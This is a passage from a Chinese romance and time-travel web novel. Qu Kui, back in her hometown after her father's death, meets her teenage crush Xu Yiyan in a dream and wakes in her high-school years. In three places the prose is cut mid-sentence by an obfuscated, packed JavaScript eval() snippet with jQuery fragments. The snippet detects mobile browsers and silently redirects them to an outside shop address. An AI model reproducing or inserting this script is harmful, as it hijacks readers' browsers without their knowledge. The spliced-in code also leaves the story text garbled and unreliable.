《坠入你的星球》 1. 帆船 “咦,原来这里还有人住啊。”开锁师傅过来的时候,曲葵坐在红色行李箱上,牛仔短裤下的双腿笔直修长,身后是大片脱落的灰砖旧瓦和一丛干枯的爬山虎。 这副死气沉沉的图景里,她是唯一的生机。 “刚搬回来的。”曲葵翻开打火机盖子点燃烟,夹在朱红色指尖,深吸,再缓慢吐出,缭绕烟雾将她裹住,堕落又野性。 曲葵昨晚十点半下飞机,坐了两小时慢悠悠的大巴才回到扬明这座偏远的南方小县城。没想到老家巷子里的路灯坏了,当黑拿错的钥匙扭断在锁孔里。 无奈去附近宾馆住一晚,第二天退房时曲葵打通了从宾馆老板那问到的开锁电话。 “是你要换锁吗。”开锁师傅是位中年大叔,顶着一蓬斑白鸡窝头,背着脏兮兮的工具包,身上工作服也沾满灰,口中叼着一根软中华。说话时,烟灰随着嘴唇抖动簌簌下落。 “嗯。” 曲葵把烟踩灭,眼前一阵晕眩,低血糖犯了。上班那几年为了给曲林治肝癌,她从来不吃早点,其余两餐也是能省就省,结果弄出这么个不大不小的毛病。 她从衣服口袋拿出两颗水果糖,撕开包装含在嘴里。 “哟,这么咋大劲啊,钥匙都拧断了。”师傅看到锁孔乐了,从工具包拿出螺丝刀,拧松锁头上的螺丝,“锁太锈了,只能换新的。” 曲葵淡淡说好。 天气又闷又湿,北方待习惯了,早已不适应扬明天气。白天的蚊子咬人又快又狠,不大一会儿曲葵腿上就肿起很多小山丘似的包,被她挠得快要流血。去便利店买了瓶六神花露水,拧开盖哗哗往小腿上倒。师傅闻见味,转头一看,眉皱起来。 “姑娘,你这……也太浪费了吧。” 彼时她的心中只剩下烦躁和对未来无穷无尽的迷茫。 曲葵没有理睬,继续手头动作。 “你们这些小年轻,都听不进去劝。”师傅见她不听,无奈摇头。 玻璃瓶彻底空了曲葵才停下来,随手扔掉,只听几声叮叮当当的滚落声,瓶子撞击在墙角角落,发出闷响,不动了。接着她蹲在不知被哪条野狗刨了一地土的花坛上,就着满手的花露水,从跨包里摸出一袋压得发皱的面包。 面包没什么甜味,好像吃进去花露水了,嘴里很快便弥漫起那股辛辣的味道,和干涩无味的面包混合在一起,咽不下去,吐不出来,像极了她人生风雨飘摇的二十六余载。 母亲在十八岁毫无预兆消失,原本就不算稳固的家庭逐渐分崩离析,她随父亲曲林搬离老家,从南到北横跨整个中国。 可惜曲林整日把自己关在家里借酒消愁,妄图逃避现实,不仅丢了工作,父女关系也在吵架声中渐行渐远。 对酒精的过度依赖侵蚀曲林的器官,最终也彻底将他杀死在大雪夜晚。在她二十六岁的年夜前夕,潼林市大雪纷飞,两人因曲林喝酒大吵一架,发酒疯的曲林六亲不认,争执抢酒瓶时指甲在曲葵小腿上划了几道口子。曲葵愤怒摔碎酒瓶,被他赶出家。没想到是最后一面。 附近安静又嘈杂,死寂中只有虫在叫,师傅扭头看曲葵那副丧气模样,心里也升腾出一股烦躁。 他开始自言自语,从儿子结婚生子到谈情说爱最后到备战高考,曲葵在旁边沉默着听他讲,后来在锤子电钻嘈杂响声中,敏锐捕捉到去世二字。 曲葵准备点烟的动作停顿,问:“谁去世了?” 师傅说:“名字想不起来,我只记得是扬明高中的学生。” 心头莫名涌出失落感,好像错过了什么似的。曲葵手指蓦地一颤,打火机上的火苗乱颤,大拇指处立刻感受到被火焰灼烧的疼痛感。 她低头摩挲泛红的指尖,脸上没有多余表情,只沉默将烟和打火机收起来。 “是……生病去世的吗?” “不是。”锁已经换好,师傅用手背抹了把汗,关门用钥匙试开。来回试了几次,他说:“其实吧,不知道死没死。” 曲葵挑眉。 锁没什么问题,师傅点上烟,接着说:“失踪。不过知道的人很少,八九年了吧,那小孩要是真的还活着,应该和你差不多大。” 八九年前曲葵还在扬明读高三,她从未听说学校里有人失踪,那就是她搬走后发生的事情了。 生啊死啊的事情她不想了解太多,因此只是淡淡地“哦”了声。 老房子打扫干净已是两周之后。家中一切如旧的摆设,光斜射进来,灰尘张扬飞舞,时常让曲葵萌生出还在过去的错觉。从搬离那天起,这里的时间好像静止了。 整理遗物时曲葵发现一本比她年纪还大的相册,橘黄的硬壳封面都褪了色,牡丹花下方写着家和万事兴。曲葵翻开,看见曲林和林语邱的黑白合照,照片上的两人郎才女貌,穿着西装和旗袍幸福微笑。 当时他们一定不曾想过,家庭会在未来的二十多年后支离破碎。 曲葵一页页翻过,在将近结束时停下来。 家庭相册里有一张不属于一家三口的照片——一个男生的背影,宽松的校服外套使他身材看起来更加消薄挺拔。 照片像趴着或者蹲着拍摄,仰视角度让他双腿看起来笔直又长。可能是摄影人手抖或比较急的缘故,背景几乎糊成了一条条绿色,间隙里掺着细碎的金色光点,根本看不出拍摄地点。 曲葵对相片没什么印象,取出来,以为能在背面看到名字,只有右下方用碳素笔写着一行日期: 2011.10.31。 ** 噩梦缠绕,曲葵恍惚惊醒。剧烈失重感席卷全身,向下一摸空空如也。 她在飞速下坠! 啊啊啊啊啊啊!!曲葵发出一串尖叫,但声音好像被什么看不见的气体吸收了。 强风扑面,她睁不开眼睛,挥动手臂什么都抓不到,眼角的生理盐水化作巨大气泡向上漂浮,像烟花爆炸成无数彩色线条纷纷下坠,到地面时变得黯淡。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858546|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦境里,人只要落到地面就会醒来。 扑通!曲葵重重跌入水里,咸苦海水顷刻涌入鼻腔,掠夺她肺部的空气。 身体向黑暗下坠,她睁开眼睛,看着头顶渐渐变远的明亮光芒,奋力摆动手臂向上游去,直至飘浮在海平面上。 蔚蓝的天空中拖着很多深蓝色粗线条,云是油画斑驳起伏的质感,正一帧帧缓慢移动。 她身下是由玻璃珠汇聚成的海洋,一望无际,深不见底,在日光下闪耀着彩虹色的光。 这场景,迷幻得像个童话。 曲葵猛掐一把大腿,痛得连连抽气。如果不是做梦,那她这是来到了哪个维度? 她爬起来,动作间玻璃珠在身下不停翻滚,发出沉闷单一的声调,曲葵稳住平衡,捡起一颗观察。 好像很多年前小卖部售卖的弹珠气泡水里装着的那种。 真是青天白日活见鬼。 曲葵扔掉玻璃珠,闭上眼冷静了一会,开始寻找出口。 刚才玻璃海深不见底,现在又浅得只能没过脚踝,曲葵蹚水一般行走不知多久,没发现疑似出口的地方。 她迷失方向,恼怒对着天空大喊:“有人——吗?!!” 没有回应。 不知过去多久,曲葵抹了把脸,四处张望。一成不变的海平面上飘着什么东西,上边树立一大一小两片白色直角三角,在浪花间时隐时现。 再近点,她才看清是一艘蓝色小帆船,帆下站着一个人,衣着上白下黑,背对着她,身板挺得笔直。 曲葵连忙招手,“喂——救——命——这儿有人!” 船上的人听到她叫声,倏然转身。好像是个男生,背着光,看不清脸。只见他收起帆,划着桨。很快,小帆船摇摇晃晃停在曲葵面前。 天光中,男生俯身,朝她伸出手。 曲葵毫不犹豫抓住。 男生胳膊看着没有太多肌肉,实际劲很大,一把将她拽上船。曲葵落在坚实的木板上,感到头晕目眩,抱着船舷喘息。而男生一言不发,居高临下看了她半晌,才转过身去放下船帆。 风呼啦啦地吹,桅杆来来回回地摇,小帆船缓缓动了起来,曲葵按着胸口惊魂未定,半晌问:“你是不是也被困在这了?你知道怎么才能离开吗?” 男生不语。曲葵疑惑抬眸,视线穿过两片被风鼓起的船帆之间。 看清男生外貌时,她乍然怔住。梦与记忆里同样模糊的脸渐渐与眼前这张重合,最后变得格外清晰深刻。 额前细碎的刘海,仿佛载满露水的浅黑瞳孔,抿唇时让人敬而远之的疏离,白衬衫袖口一圈黑边,胸口上印着熟悉的logo,绣着黑字,如果曲葵没记错的话,应该是:扬明一中。 那样干净清冽的气质,想必人生中见过一次就很难忘却,所以,看到脸的那一刻,曲葵就认出了他。 许一宴。 她曾暗恋过的对象。 没想到会以这种方式看到他。 2. 深渊 被封存的遥远记忆汹涌袭来,裹住心脏,曲葵想起那个惊鸿一瞥。 那一天,天气预报出现偏差,原本晴朗的天空下起雨,放学时乌云散开,阳光折射水汽,在空中架起彩虹。 学生顶着雨陆陆续续跑出校门,曲葵是个例外。 她踩着滑板从教学楼大厅的四层台阶上一跃而下,平稳落地后周围男生疯狂地欢呼吹口哨,一位不知道哪个班的老师提着公文包追出来,口中还在喊:“那个女学生,赶紧给我下来!!” 曲葵滑了老远,猫腰抱着滑板混入人群,还转身做了个鬼脸,老师没看到她的脸,不知道她哪个班的。 曲葵戴耳机听歌朝前走,音乐音量放得不大,几秒后听见有人在后面喊: “许一宴,打篮球!!” 在她正前方的男生蓦然回头。 天光正好从云团的破口中倾泻而下,在雨水间形成万道金光,给他的白色校服镀了层橘黄色的轮廓。 他个子高,样貌也出众,刘海被雨水打湿粘在光滑饱满的额头上,丝毫不显狼狈,反叫人觉得他干净脱俗。 曲葵放慢脚步。 许一宴和她对上视线,他显然认出了她,但没有和她打招呼,只是逆着人流,面无表情向她走来。 随后缓缓地,擦肩而过。 那时,曲葵还不知道自己对许一宴是喜欢,只是在某一瞬间感到了心跳加快。 …… 曲葵坐在船舶处偷瞄许一宴。 他还是记忆中的模样,没有分毫改变。如果是这个世界故意幻化出一个许一宴来诱惑她,那么,它成功了。 许一宴神情戒备打量曲葵这个不速之客,确认她没有什么威胁之后,表情才渐渐从警惕转变为疑惑:“你是谁?” 曲葵不答反问:“你先告诉我,这里是什么地方?” 她更好奇现在和她对话的许一宴是什么东西。 鬼?灵魂?还是她的幻象? “我的梦。”许一宴言简意赅。 “等等。”曲葵按着眉心。目前经历已多次颠覆她的认知,她试图理解这荒诞一切,奈何还是失败了,“你说这是你的梦,可我又是怎么进来的?” “你进来的并不是身体,而是意识。我也不清楚你进来的原因,但……”许一宴发觉曲葵在套他话,立刻转移话题,“我已经回答你的问题,现在该你回答我的问题了。” “你觉得我会信?” 许一宴果然不再说话,无言望着她,漆黑瞳仁中一点情绪也没有,像在说,信不信随你。 曲葵不甘示弱,两人相互瞪视。 “好吧,”半晌,曲葵败下阵来,时过境迁,她对这张脸还是没抵抗力:“我叫曲葵。” 说完,她又试探:“不知道你记不记得,我们是同班同学。” “……曲葵?”许一宴眼底划过一丝错愕,挑起眉,戒备重新挂在脸上,双手架在胸前,做出防范动作,“我根本就不认识你,听不懂你在说什么。” 曲葵凑近了点,说:“我真没骗你,要不你仔细看看?” 许一宴认真盯着她,片刻偏过头,耳根微红。 曲葵:“?” 为什么会脸红啊? 很快她就知道原因了。 她现在这样子——散披的过腰长发,睡眠不足导致眼睑处浮现淡淡黑眼圈,黑色冰丝睡衣肩带由于刚才上船动作,有一边滑落下来,露出雪白肩头……实在称不得体面。 靠,她差点忘了。 只看外表,他们现在相差九岁,她变化太大,难怪许一宴没认出她。不,就算十七岁的曲葵站在这里,许一宴恐怕也会说不认识。 两人性格八竿子打不到一起,比成绩呢,不是一个层次的人,不熟也是正常,同学当了快三年,说的话还没她迟到被校领导抓住大门罚站的次数多。 “那就当初次见面吧。”曲葵整理睡衣,捂着脸,尬得想死。 小帆船向前驶去,途中没有改变过航线,不知最终会通向何处。 百般聊赖中,曲葵双手托着下巴问:“我们要去哪?” “梦的尽头。”许一宴双手放在膝盖上,坐得很端正,说话是平淡的语气。 作为一个恐怖片科幻片元老级爱好者,曲葵已经开始习惯他语出惊人了:“你和我一起吗?” 许一宴答:“只有你自己。” “如果我不想离开呢?” “时间一久你的意识会变虚弱,最后消失。”许一宴板着脸说。 “消失,”曲葵咀嚼这个不算陌生的词语,“是我会死的意思么?” 如果用时间单位来衡量,她困在这应该快两小时了。 许一宴倒是镇定,仿佛看淡生死:“人失去灵魂,不就相当于死去。” “那你怎么不和我一起离开?你不怕?” “我不能。”许一宴模凌两可地回答,“我离开这里就会坍塌。” 他怎么把自己说得像什么世界的守护者一样。 曲葵心里嘀咕,没有再问。 航行不知多久,海上开始起雾,很快遮住油画天空。起风了,波浪翻滚,船身剧烈摇晃,玻璃珠落进帆船来回跳动。 模糊视线里,闪电在雾中穿行,曲葵隐约听到雷鸣。 “到了。”许一宴放下船桨,站起来,发丝被吹得张扬飞舞,清瘦修长的身体在狂风中纹丝不动。 他紧紧盯着下方,神情冷峻。 “怎么了?”曲葵随他目光望去。 一片巨大的紫黑色漩涡落在眼底,漩涡中翻腾星星点点的金色波浪。壮观,散发着危险信号又在无形中吸引旁观者失足坠落。 下一刻天旋地转,曲葵没机会说话,本能抓住身边任何能抓住的东西。正当她以为要被连人带船吸入漩涡时,发现小帆船像碰到一道不可穿越的屏障,绕着漩涡外围打转,无法再向前。 “许一宴,你在哪儿?”曲葵勉强稳住身形,转头寻找许一宴。 手心一片冰凉,她低头看去,原来慌乱中抓住的是许一宴的手。 “你确定出口在这!”未知恐惧当前,曲葵只有紧紧抓着他。 许一宴神色依旧,冷脸、垂眼、抿嘴、提着一盏灯,蒙蒙雾里发出微弱光亮。 “你不是想要回到过去吗?” 他站在曲葵身旁,声音时远时近,曲葵一时没能听清:“什么?” 许一宴凝视深渊,瞳孔映入漩涡底色。 他缓缓移动视线,最后停在两人相握的双手之上,薄唇轻启:“从这里跳进去,就可以回到过去。” ** “曲葵,还不起床,看看现在几点了!”卧室门被人拍得震天动地。曲葵以为又是曲林喝醉在发酒疯,条件反射掀开被子跳起来,一脚踩空摔在地上。 “嘶——痛痛痛!”她爬起来,抱着膝盖倒吸一口凉气,回头看了一眼床。 奇怪,怎么又变窄了。 回老家后,因长高导致躺下双腿无法完全打直伸展,她换的第一件家具就是床。 “一到读书你就开始找各种借口,是不是又在装病?”门吱呀一声打开,系着围裙的女人愤怒站在门后。 她虽眼角已有细纹,但眼神依然勾人。皮肤保养得吹弹可破,加上年轻时经常在舞台上演奏乐器,举手投足都带着内敛的贵气和从容。曲葵能长成现在这样,也是运气好继承了她的八九分。 林语邱见曲葵抱脚坐在地上,快步走进,沾了水的手将曲葵拉起,口中骂:“都他妈快十八了还毛毛躁躁的,能不能让人省心。” 看到女人的第一眼,曲葵所有动作都僵在原地,顷刻呼吸滚烫,眼眶湿润。 她战战兢兢叫出那个多年未唤出口的词:“妈?” 林语邱刚离开的那几个月,曲葵十分想她。她不厌其烦拨打那串烂熟于心的号码, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858547|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乞求林语邱能接通一回,可惜等待她只有关机的提示音。后来她对林语邱的想念逐渐转变成恨意,再退化成无动于衷,号码也换了好几个主人。 她想质问林语邱,为什么不告而别,我们不是一家人吗?离开以后去了哪里?后面过得好吗?有想过我吗? 话语梗在喉咙,只剩苦涩。 “怎么了?”林语邱半信半疑,挑眉看她,“真摔疼了?” 曲葵心情五味陈杂说不出话,渐渐,那种情绪又转变成无穷无尽的委屈。她红着眼眶,张开手臂,紧紧抱住林语邱。 林语邱一惊,退后:“别突然抱上来,围裙上脏。” 曲葵不松手,瓮声瓮气地说:“我就是想抱抱你。” 在林语邱看来,昨晚两人才因为曲葵半夜跑出去酒吧卖唱而大吵一架,曲葵此时示弱的行为在她眼中怎么看怎么反常。 林语邱抓着曲葵肩膀,“你老实告诉我,是不是又在外面闯祸了?” 曲葵:“……没有啊。” 当下时空的昨天发生了什么,她真的一点都不记得了。 “那行,”林语邱拍拍曲葵乱蓬蓬的脑袋,“立刻马上,给我滚去学校。” 楼下,曲林在吃早餐,见妻子一大早嚷嚷,无奈接了句:“迟到就迟到了呗,洗漱好过来把早餐吃了。身体第一,成绩是次要的。” 曲葵一听他这么说,就知道林语邱要发作。 不出所料,下一秒林语邱就转移火力,关门出去,片刻响起骂声:“你就惯着她吧。大的没出息小的也一个德行,你们都想气死我!” “她学习也没退步啊你管这么紧做什么。” “管?我管得住吗?!她和外面那些混混学得像条野狗,成天不着家!” “少说点吧。” …… 果然是她爸妈的日常相处方式。 曲葵不记得自己是怎么到学校的,也许是凭借被唤醒的记忆,或是来自这具年轻身体里的肌肉记忆。她的脑袋噼里啪啦放着烟花,整个人处于一种混乱失真的迷茫,分不清到底是梦,还是从未醒过来。 后来看见自己和其他学生穿着一样的白衬衫校服,曲葵才意识到。 真的回到过去。 校牌上写着:高三七班,曲葵。 这时她离成年还有半年。 一个天真,充满活力,满身劣根,喜欢无厘头和不切实际的幻想的年纪。 “门口那个女学生——”门卫大叔瞪眼观察曲葵半天,早自习预备铃打响了,他从门卫室窗户探头喊了一嗓子:“我要关门了,你到底进不进来!” 等曲葵找到教室,已经迟到了几分钟。 气喘吁吁弯腰扶着膝盖出现在教室门口,班内大部分学生的目光汇聚在她身上。 老师还没来,不整齐的早读声中夹杂着闲言碎语: “怎么早读铃声结束了她才到。” “她不一向如此?目中无人,不守纪律。” “这种人真的很讨厌啊……” “别说了,小心她叫人放学堵你。” 这些话听着刺耳,曲葵不记得自己高中有得罪过什么人,只知道班上确实有挺多女生讨厌她。 她在教室里寻找声音,看到一个扎丸子头的女生在和后桌说话,后桌注意到曲葵在看他们,开始朝女生使眼色。 很快那个女生转过来,一张对别人来说甜美但在曲葵看来平平无奇的脸,她发现曲葵在看她,面露惊慌,竖起课本挡住曲葵视线。 如果是真正处于这个年纪阶段的曲葵,恐怕会当着全班甚至老师的面出言嘲讽。但现在这具十七岁的躯壳中藏着一个二十六岁的灵魂,曲葵不屑一顾的同时觉得这种行为幼稚又可笑。 她耸耸肩,没当回事,反正也没想起对方名字。 “安静。” 这时,响起许一宴简短带着冷意的声音,教室立刻鸦雀无声。 3. 对视 许一宴在帮她? 曲葵感到意外。 她没表露出情绪,走向座位途经许一宴时,假装不经意,用余光向下瞥了一眼。 巧的是,原本在低头翻书的许一宴抬头。 两人的对视如同蜻蜓点水,仿佛形成某种默契,一触即分。 许一宴抽离视线,脸上看不出情绪,冷淡地说:“课本翻到32页。” 教室里哗啦啦响起翻书声。 曲葵恍然大悟,她怎么忘了,许一宴是学习委员。 这不过就是巧合一般的自作多情。 曲葵坐下,拿出课本翻开。 在她的印象中,许一宴对谁都若即若离。若非必要,不会主动和人说话,不怎么笑,但也不拒绝别人的绝大部分请求。他会和男生一起打篮球踢足球,也会给对他有好感的女生讲题。他和所有人都相处得像朋友,同时又在疏远所有人。 意识到暗恋许一宴后,曲葵经常偷偷观察他,那时她觉得,许一宴像离群的鸟,离水的鱼。 至于他这么受人欢迎,大概是源于那副好皮囊和殷实的家庭条件,即使学习不好,也会有很多人喜欢。这些都是各班男女生课间会八卦的话题。 “曲葵,这节是语文课。”同桌女生指指课本,小声提醒,“你拿的是英语课本。” 曲葵回过神,快速扫了眼女生作业本的名字——徐梅。她有印象,搬家前徐梅都是她的同桌,两人关系一般,只是普通同学。 曲葵从桌箱中抽出数学课本,“拿错了,多谢提醒。” 徐梅没想到曲葵会道谢,有些不好意思:“没事,就是想提醒你一下。” 交作业时,徐梅又安慰她:“你刚才是不是听见季雯的那些话了?别往心里去,她对谁都这态度。” 曲葵埋头抄着最后一道数学题,过了一阵子才反应过来徐梅说的是谁。 “啊,那些话啊。” 她把试卷递给小组组长,正逢季雯和另一个女生上卫生间回来,几人视线撞在一起,原本有说有笑的季雯止了声,带着敌意扫视她。 曲葵向后一靠,朝两人勾唇,懒洋洋道:“我根本无所谓好吧。” 一周过去,努力扮演学生的曲葵仍没重新适应这种两点一线的枯燥生活。 习惯了总是出差、聊客户、忙应酬的工作,一整天坐在教室里,她只觉浑身难受,老师念的每个字拆开都知道,合起来一句听不懂。 高三八月出头就开学,窗外吹进来的风都是热乎的,蝉鸣响彻白昼黑夜,异常分散学习注意力。教室没有空调,只有一盏没起什么作用的小风扇,在头顶呼啦啦吹得晃来晃去,看着总要掉下来。 六十号人待在老教室里,呼吸都快黏在一起。老师一边擦汗一边讲课,时起时落的声音更是催眠利器。 周六最后两节是班主任王范的物理课,学生睡倒一大片。时不时一两个纸团趁他转身黑板上写字时在上空划出个抛物线。没几个人在认真听课,都想着该怎么利用星期日的半天假期放松心情,缓解压力。 王范对此十分无奈,地中海发型被汗水浸得亮堂反光,连敲讲桌提醒:“能不能别睡觉,能不能别窃窃私语!打起精神来啊,你们想放松的心情别带进课堂。” 无济于事。 还有学生认真听课,王范也不好一直停下来维持秩序,只好选择睁一只闭一只眼。 曲葵含着水果硬糖抄课堂笔记抄得头昏眼花,仰头打了个哈欠,视线一转,看到坐第一排许一宴削薄的背和校服白衬衫下微微凸起的肩胛骨。 逃离梦境的最后一刻。小帆船上,许一宴说跳进漩涡就可以回到过去。 曲葵在许一宴清明眼眸中看到自己身影。她不知道对方为何清楚自己内心想法,问:“你为什么知道?” 许一宴没有回答,只是静静注视着她,曲葵只觉一缕微风扫过心头,掀起几道怪异感。 但还不等她说什么,一道闪电劈在脚前,小帆船夹板碎裂从中一分为二,两人牵着的手分开,彼此之间的距离越来越远。 “我遇见你不是偶然对吗?”曲葵失去落脚点,身体向后倾斜,马上就要掉进漩涡。 “许一宴!”她的视野里再也看不见许一宴,只能大声喊出口,“你想告诉我什么?!” 被漩涡彻底吞没时,曲葵听到了许一宴的回答。 那是一种很轻,却又很笃定的口吻: “到过去找我。” 到、过去……找我? 这话是什么意思? 梦境里的许一宴和现实中的许一宴有联系吗? 她这几天就没和许一宴说上话,连视线相交都没有。他们就像两条垂直的线,短暂相交一瞬间后,又朝不同的方向分开。 额头一痛,曲葵“哎”一声捂头醒过来,桌子上滚落一截白色粉笔头。抬头,老王黑着脸望她,皮笑肉不笑。 “睡得好香啊,昨天几点睡的呀?” 曲葵把粉笔捏在手里,在别人投来看戏的视线中默默坐正。 怎么又梦见那些事情了。 大课间的升旗仪式,曲葵没穿校服,黑色上衣站在一众蓝白色校服队伍中格格不入。曲葵耷拉着眼皮,一副没有睡醒的样子,长长打着哈欠,身上没有花季少女该有的活泼,倒像被社会锤炼毒打的社畜。 除了本班学生,还有其他班的人在偷偷看她。 遗传了二十多年前红极一时的古典乐坛新星——小提琴演奏家林语邱的相貌,确实够出众。虽然如今查无此人。 许一宴抬着册子检查仪容仪表,在曲葵身旁时停下,睨她一眼,声音淡得像阵风:“校服呢?” 曲葵坦言:“洗了没干。”其实压根就不知道为什么没穿。 也许是她身上散发的淡淡死感让学霸心生怜悯,许一宴顿了两秒,摘了校牌,又开始脱外套。外套下穿着纯白色的棉质校服短袖,纽扣扣到最上面那颗,整洁得一丝不苟。 衣领往上几公分,是突起的,形状好看的喉结。 随后曲葵发现他淡粉色的下嘴唇上,有一颗小小的痣,微微靠右,颜色很浅。 还挺性感。 ……啊。 这么盯着人嘴唇看好像不太礼貌,曲葵移开了目光。 学校并不规定升旗仪式并穿哪件校服,所以有人穿外套也有人只穿一件短袖。曲葵很快就懂他的意图。 “先穿着。”许一宴把校服递过来,冷白皮肤下一条青筋蜿蜒没入胳膊袖口,语气平得没有波澜起伏,“你太显眼,校领导上台一眼就看到。” “哦,谢谢。”曲葵不跟他客气,无视别处看过来的异样目光和窃窃私语,接过来穿上。 校服残留少年体温,还有淡淡橘子味,在她身上又宽又长。 校长上台念今早迟到学生的名字,曲葵听着自己的名字,面无表情。 升旗仪式结束,她把校服还许一宴,又说声谢谢,许一宴看了她一眼,伸手接过,没说话,只是轻轻点了下头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858548|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 放学,曲葵作为教室值日生留下打扫卫生。 方成旭主动过来帮她扫地,曲葵一问,班上和她关系不错的几个男生想约她明天出门玩滑板。 曲葵做事随性,说话直白,很容易和男生混熟。 小学起就不乏给她买零食送礼物的男生,上高中后不减反增,方成旭算是其中一个,曲葵一眼看出他对自己的心思,只是她现在没心情参演少年少女爱情萌动的戏码,便微笑回绝了。 方成旭失望离去,刚出教室就和身边的男同学打闹互相甩锅。 另一边,许一宴在给季雯讲课堂测试的压轴题。 曲葵地拖到他们那儿,杵着拖把站后边听了一会儿,觉得许一宴讲得比老师还详细,她一个多少年没学习的人都听懂了。 讲完题,许一宴问:“懂了吗。” 季雯扭扭捏捏:“呃,我还是不太懂。” “……” 一时沉默。 那道题许一宴已经讲四遍了,换条狗来没准都听懂了。他猜到季雯不是真心想问问题,合拢试卷:“你去问老师,他是专业的。” 季雯被许一宴戳穿小心思,脸颊通红:“能再讲一遍吗,我这次一定能听懂。” 许一宴将试卷递到季雯面前,态度毋庸置疑。 接着他拿出耳机戴上,自然地划清界限:“我要刷题了,别打扰我好吗。” 拖完地,曲葵下楼倒垃圾。和她一同值日的女生忙着参加亲戚婚宴,倒完垃圾匆匆离开。 曲葵独自回到教室,把垃圾桶放回储物间,季雯已经走了,许一宴还在写题,他报名了数学竞赛。如果成绩优异,可以得到保送的机会。 曲葵偏科语文英语,成绩考二本科都悬,对于许一宴这种天神级别的学霸,她是打心眼里佩服。 曲葵站在窗边注视许一宴。 他神情专注,笔杆来回晃动,没有注意到曲葵在明目张胆望他。 被夕阳照得昏黄的教室里只有他们两人,蝉不叫了,世界万物都变得很安静,时间悬停。 渐渐,那股悸动又从心底攀升而来,牵动着手心泛起丝丝缕缕的痒。 机会多好,曲葵很想上前问:你是不是梦到和一个穿睡衣的女人在玻璃海上,坐在一条船里,那个人说她叫曲葵。临走前你还和她说了一句话。所以那句话是什么意思,能不能解释清楚,别当谜语人!打住快打住—— 这种话说出来,许一宴八成会把她当傻子。 刮起一阵强烈的风,吹乱曲葵头发,她视线被头发遮住,连忙关窗,动作稍晚一步,让靠窗座位上的笔滚动,“啪嗒”一声掉在板凳下方。 寂静教室里格外响亮。 许一宴被惊动,停下笔,回头看。 曲葵弯腰伸手去捡笔,和他视线相错。 等她把笔放回原位,许一宴已经低头重新写题。 曲葵莫名有种偷看被当事人抓包的感觉。想了想,她决定假装什么事都没发生。 最后一个离开教室的人要锁门,临走前她回头提醒许一宴:“许一宴,我先走了。那个,你记得锁门。” “知道了。”许一宴说。 曲葵不知道的是,她前脚刚走,许一宴就抬眼望了过来,藏在眼底的情绪波动显得晦暗不清。 等她背影完全消失在门口,许一宴才垂下眼帘,盯着草稿纸上的一行字发呆。 那句话表露的意思太感性,他索性将那页纸撕下来,揉成团,扔进书包。 4. 轰鸣 下午六点。 曲葵走到胡同口,旁边的小卖部塑料棚下临时放着张塑料桌,几个老人正围着打牌,看见她,一阵窸窸窣窣低语。 与她家只隔了两户的杨奶奶一脸迟疑,最后还是小声说:“小曲,你爸妈又吵起来了。” “不好意思,打扰到你们了。”曲葵扬起微笑,嘴上诚恳道歉。 坐杨奶奶对面的大爷轻扬下巴,一副不耐烦模样:“快去劝劝吧,这三天两头就要闹这么一出动静,你也真是还笑得出来,都说家丑不可外扬……” 话说到一半,他被推了一把,这才意识到自己话越说越难听,而曲葵依旧笑着看他,他讪讪闭了嘴,没有继续说下去。 “知道了,我会劝他们的。”曲葵连声应和,转过去身的瞬间,笑容荡然无存。 “傻逼。”她在心里骂道。 吵个架又没吵得他缺斤少两,一天天管得倒是很宽。 隔着几米就能听见吵架声。 我当初放弃了一切——后悔跟了你——现在才活得这么平凡——过不下去了离婚吧。 几句来来回回说了无数遍的话。 她都倒背如流了。 曲葵站在门前深深吸了一口气,才去掏钥匙开门。换了鞋,书包扔在沙发上,正想去拿茶几上的水杯,脚下啪嗒一声,好像踩碎了什么。 她挪开拖鞋,是一块几厘米长的碎瓷片,陷进鞋底几毫米,要不是她在听见声响的瞬间抬起了脚,恐怕就要去医院了。 曲葵哭笑不得,把碎瓷片扔进垃圾桶。来到厨房,见餐桌下躺着一个四分五裂的碗,曲葵不清楚他们吵架的原因是不是这个。她父母的吵架原因总是千奇百怪。 在她小学时两人就分房间睡,每当曲葵问起原因时,他们总有理由来掩盖自己感情的流失。 曲葵将地面打扫干净,将餐桌上冷到的菜去微波炉里加热,独自吃饭。 快要吃完的时候,楼上吵骂声渐小,很快林语邱噔噔咚咚从楼上下来,一脸戾气摔门而去,全程都没有搭理曲葵。 大概是去找牌友打麻将了。 又过一会儿,曲林走下楼,坐在沙发上,捏着眉心,脸上疲态挡也挡不住。 曲葵把碗洗好,坐在他旁边削苹果,说:“那几个邻居听见你们吵架了,指不定天天在背后嚼我们家舌根。” “那又不是我能掌控的事情,想说就让他们说去吧,谁家不会吵架呢。” 